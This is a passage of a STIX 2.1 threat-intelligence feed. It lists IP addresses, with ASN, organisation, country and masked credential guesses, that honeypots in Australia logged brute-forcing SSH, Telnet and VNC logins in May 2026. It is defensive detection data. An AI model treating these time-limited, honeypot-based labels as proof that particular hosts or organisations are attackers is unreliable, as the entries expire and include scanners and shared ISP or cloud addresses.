      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.70.192.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269437. Organisation(s): PRADO TELECOM E SISTEMAS DE SEGURANCA ELETRONICA.",
      "id": "indicator--a66e3115-6f17-4070-bc84-8d7b2ec5eeed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.220.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266595. Organisation(s): NOVA CONEXAO INTERNET LTDA.",
      "id": "indicator--091e4340-41f4-43a0-8a53-a0cb5cc32647",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.7.190.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--1e2af015-368a-4b21-8db7-a1e396f7b72a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.249.93.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 267809. Organisation(s): 360NET C.A..",
      "id": "indicator--4ce0b275-4bec-4065-9001-1cb98132b946",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.86.122.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--eba36fdb-f675-411b-a325-653d91141a85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.157.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--4cf88951-7477-4638-afda-851edcdacc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.224.150.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a22d4438-a265-4532-ad4d-f40ffaa6a9e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.227.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4121. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, u****u, d****y. Passwords observed (masked): 1****6, ***, *, p******d, 1**4.",
      "id": "indicator--0c9ba142-c351-47ea-864c-2fe4dc6f7431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--356fcfac-7362-4d4d-8ab7-9b750ad1b813",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.227.84.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 47702. Organisation(s): Teleradiocompany Discovery Ltd..",
      "id": "indicator--faeb47a1-c77e-46f5-b6a1-e26023a35c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.109.226.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136334. Organisation(s): Vortex Netsol Private Limited.",
      "id": "indicator--3a7ac875-3452-426f-b502-0bf64f58f9f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.250.44.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e9cb47f7-961a-48d1-9929-200611358fc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6b9296e7-5daf-42f9-a48c-543f090fc5d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T08:15:11.000Z",
      "valid_until": "2026-06-18T08:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****7, 1*******3, 1**8.",
      "id": "indicator--13ee20fd-0850-40fc-83c8-c55534013b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.217.188.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--253f08db-5d60-472d-bb17-e9b9ff861790",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.209.121.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): e****t, z****x. Passwords observed (masked): 1****6, e****t.",
      "id": "indicator--28e77e50-4b06-477f-8425-084eb1c5c6b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '132.226.74.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264160. Organisation(s): PRYMUS PROVEDOR DE ACESSO A REDES TELECOM LTDA.",
      "id": "indicator--d4c2abfc-9bea-4f64-aaf7-b1c14567fdb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.99.70.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 211101. Organisation(s): Nasteka Maksim Viktorovich.",
      "id": "indicator--cb88a553-4523-494f-8ab4-ecdb3d26076b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.0.45.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t. Passwords observed (masked): e********y.",
      "id": "indicator--fa6f4021-ab84-49fe-aa55-cd326f33c9bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.43.76.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 69. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 55081. Organisation(s): 24 SHELLS.",
      "id": "indicator--2b98c743-0814-4d1e-89ae-53f20bd591af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.205.218.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--4f4df3fb-c46a-4db5-9a86-07a0ac8a2d64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.124.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3d4fa7cd-ecc7-4173-87bd-405868b97f69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.106.90.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******a, 1********t, C*********7.",
      "id": "indicator--af00ef0d-5c64-46be-acc0-353a1ca48529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.109.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******a, 1********t, C*********7.",
      "id": "indicator--a5793b49-6fec-4176-89a6-9c24bec13fda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.38.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**1, 1****7, 1*******3, 1**8, 1*******@.",
      "id": "indicator--949aa472-4654-4721-a6e4-15c1ff5e1fc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.111.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**1, 1****7, 1*******3.",
      "id": "indicator--8dde0333-2c26-4d06-ae60-0f9e6a944181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.4.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--cfbfb177-05b3-499c-9bd5-20301a5f7c64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.210.18.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--733335bc-c828-4d6d-ad36-583c8abe31bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.95.8.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:15:10.000Z",
      "valid_until": "2026-06-18T09:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a099dbfc-4bec-40fc-ac53-1491baccdf94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.118.28.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:15:10.000Z",
      "valid_until": "2026-06-18T10:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Heralding. Target ports: 5900. Source country: AU. ASN(s): 133480. Organisation(s): 5G NETWORK OPERATIONS PTY LTD. Passwords observed (masked): 1******8, 1******r, 0**0, 0***0, 0****0.",
      "id": "indicator--b913a4a1-a18a-4313-8cca-33a4eae957fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.77.234.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:15:10.000Z",
      "valid_until": "2026-06-18T10:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--c3788ce7-4f70-4a54-acd3-f35b88f8d78f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.192.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:15:10.000Z",
      "valid_until": "2026-06-18T10:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--203c2f2c-fb3c-4b5e-b253-99e40e9100b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.139.162.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:15:10.000Z",
      "valid_until": "2026-06-18T10:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 46198. Organisation(s): Trilogy Dominicana, S.A..",
      "id": "indicator--6c892694-5a81-42d3-b460-5055e1082e11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.0.81.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:15:10.000Z",
      "valid_until": "2026-06-18T10:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--f0edd56d-7351-4d84-9da6-274f1fcd37cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.160.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:15:10.000Z",
      "valid_until": "2026-06-18T10:15:08.000Z"
    },
    {
      "created": "2026-05-17T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): d**s.",
      "id": "indicator--31493f6a-8479-447b-b4e1-0a308415e82d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.130.48.246']",
      "pattern_type": "stix",
